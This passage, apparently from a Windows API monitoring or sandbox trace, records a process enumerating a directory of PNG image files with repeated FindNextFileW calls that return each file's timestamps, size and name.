lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc13ddaa, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc13ddaa, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd70bf7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x17b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="21.png", cAlternateFileName="")) returned 1 [0090.433] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc13ddaa, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc13ddaa, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd70bf7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x17b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="22.png", cAlternateFileName="")) returned 1 [0090.433] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc13ddaa, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc13ddaa, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd7320dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x15c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="23.png", cAlternateFileName="")) returned 1 [0090.433] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc163f09, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc163f09, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd7320dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x15c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="24.png", cAlternateFileName="")) returned 1 [0090.433] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc18a068, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc18a068, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd7320dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x15c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="25.png", cAlternateFileName="")) returned 1 [0090.433] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc18a068, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc18a068, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd7320dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x13c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="26.png", cAlternateFileName="")) returned 1 [0090.433] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc1b01c7, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc1b01c7, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd7320dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x13c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="27.png", cAlternateFileName="")) returned 1 [0090.434] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc1d6326, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc1d6326, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd7320dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x13c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="28.png", cAlternateFileName="")) returned 1 [0090.434] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc1fc485, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc1fc485, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd7320dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1010, dwReserved0=0x0, dwReserved1=0x0, cFileName="29.png", cAlternateFileName="")) returned 1 [0090.434] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc1fc485, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc1fc485, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd75823c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1456, dwReserved0=0x0, dwReserved1=0x0, cFileName="3.png", cAlternateFileName="")) returned 1 [0090.434] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc2225e4, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc2225e4, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd75823c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1010, dwReserved0=0x0, dwReserved1=0x0, cFileName="30.png", cAlternateFileName="")) returned 1 [0090.434] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc2225e4, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc2225e4, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd75823c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x16df, dwReserved0=0x0, dwReserved1=0x0, cFileName="31.png", cAlternateFileName="")) returned 1 [0090.434] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc248743, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc248743, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd75823c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x16df, dwReserved0=0x0, dwReserved1=0x0, cFileName="32.png", cAlternateFileName="")) returned 1 [0090.434] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc248743, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc248743, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd75823c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1010, dwReserved0=0x0, dwReserved1=0x0, cFileName="33.png", cAlternateFileName="")) returned 1 [0090.434] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc26e8a2, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc26e8a2, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd77e39c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1010, dwReserved0=0x0, dwReserved1=0x0, cFileName="34.png", cAlternateFileName="")) returned 1 [0090.434] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc294a01, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc294a01, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd77e39c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1551, dwReserved0=0x0, dwReserved1=0x0, cFileName="35.png", cAlternateFileName="")) returned 1 [0090.434] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc294a01, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc294a01, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd7a44fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x16df, dwReserved0=0x0, dwReserved1=0x0, cFileName="36.png", cAlternateFileName="")) returned 1 [0090.434] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc2bab60, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc2bab60, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd7a44fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1456, dwReserved0=0x0, dwReserved1=0x0, cFileName="37.png", cAlternateFileName="")) returned 1 [0090.434] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc2bab60, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc2bab60, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd7a44fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1456, dwReserved0=0x0, dwReserved1=0x0, cFileName="38.png", cAlternateFileName="")) returned 1 [0090.434] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc2bab60, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc2bab60, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd7a44fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1551, dwReserved0=0x0, dwReserved1=0x0, cFileName="39.png", cAlternateFileName="")) returned 1 [0090.434] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc306e1e, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc306e1e, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd7a44fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1456, dwReserved0=0x0, dwReserved1=0x0, cFileName="4.png", cAlternateFileName="")) returned 1 [0090.434] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc32cf7d, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc32cf7d, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd7ca65c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1874, dwReserved0=0x0, dwReserved1=0x0, cFileName="40.png", cAlternateFileName="")) returned 1 [0090.434] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc32cf7d, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc32cf7d, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd7ca65c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="41.png", cAlternateFileName="")) returned 1 [0090.434] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc3530dc, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc3530dc, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd7f07bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1135, dwReserved0=0x0, dwReserved1=0x0, cFileName="42.png", cAlternateFileName="")) returned 1 [0090.435] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc37923b, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc37923b, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd7f07bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1135, dwReserved0=0x0, dwReserved1=0x0, cFileName="43.png", cAlternateFileName="")) returned 1 [0090.435] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc37923b, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc37923b, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd7f07bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="44.png", cAlternateFileName="")) returned 1 [0090.435] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc39f39a, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc39f39a, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd81691c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1551, dwReserved0=0x0, dwReserved1=0x0, cFileName="45.png", cAlternateFileName="")) returned 1 [0090.435] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc39f39a, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc39f39a, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd81691c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="46.png", cAlternateFileName="")) returned 1 [0090.435] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc4117b7, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc4117b7, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd81691c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1456, dwReserved0=0x0, dwReserved1=0x0, cFileName="47.png", cAlternateFileName="")) returned 1 [0090.435] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc4117b7, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc4117b7, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd83ca7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1701, dwReserved0=0x0, dwReserved1=0x0, cFileName="5.png", cAlternateFileName="")) returned 1 [0090.435] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc437916, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc437916, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd83ca7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1701, dwReserved0=0x0, dwReserved1=0x0, cFileName="6.png", cAlternateFileName="")) returned 1 [0090.435] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc4a9d33, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc4a9d33, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd83ca7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1701, dwReserved0=0x0, dwReserved1=0x0, cFileName="7.png", cAlternateFileName="")) returned 1 [0090.435] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc4cfe92, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc4cfe92, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd862bdc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1551, dwReserved0=0x0, dwReserved1=0x0, cFileName="8.png", cAlternateFileName="")) returned 1 [0090.435] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc51c150, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc51c150, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd862bdc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1551, dwReserved0=0x0, dwReserved1=0x0, cFileName="9.png", cAlternateFileName="")) returned 1 [0090.435] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc5422af, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc5422af, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd8aee9c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x3032, dwReserved0=0x0, dwReserved1=0x0, cFileName="activity16v.png", cAlternateFileName="")) returned 1 [0090.435] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd27fcb6, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbd27fcb6, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd8d4ffc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="alertIcon.png", cAlternateFileName="")) returned 1 [0090.435] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd0dcda1, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbd0dcda1, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd8d4ffc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xcde, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn_close_down.png", cAlternateFileName="")) returned 1 [0090.435] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd12905f, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbd12905f, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd8d4ffc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xcdf, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn_close_down_BIDI.png", cAlternateFileName="")) returned 1 [0090.435] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd12905f, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbd12905f, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd8fb15c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xcdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn_close_over.png", cAlternateFileName="")) returned 1 [0090.435] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd102f00, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbd102f00, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd9936dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn_close_up.png", cAlternateFileName="")) returned 1 [0090.435] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd17531d, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbd17531d, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbda05afc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xdf5, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn_search_down.png", cAlternateFileName="")) returned 1 [0090.436] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd19b47c, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbd19b47c, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbda2bc5c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xdfd, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn_search_down_BIDI.png", cAlternateFileName="")) returned 1 [0090.436] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd19b47c, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbd19b47c, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbda9e07c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xde7, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn_search_over.png", cAlternateFileName="")) returned 1 [0090.436] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd1e773a, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbd1e773a, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbda9e07c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xdfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn_search_over_BIDI.png", cAlternateFileName="")) returned 1 [0090.436] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd14f1be, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbd14f1be, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdac41dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xd68, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn_search_up.png", cAlternateFileName="")) returned 1 [0090.436] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd1c15db, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbd1c15db, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdac41dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xd80, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn_search_up_BIDI.png", cAlternateFileName="")) returned 1 [0090.436] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd259b57, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbd259b57, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbdb828bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xafe, dwReserved0=0x0, dwReserved1=0x0, cFileName="divider-horizontal.png", cAlternateFileName="")) returned 1 [0090.436] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd27fcb6, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbd27fcb6, ftLastAccessTime.dwHighDateTime=0x1ca0404, 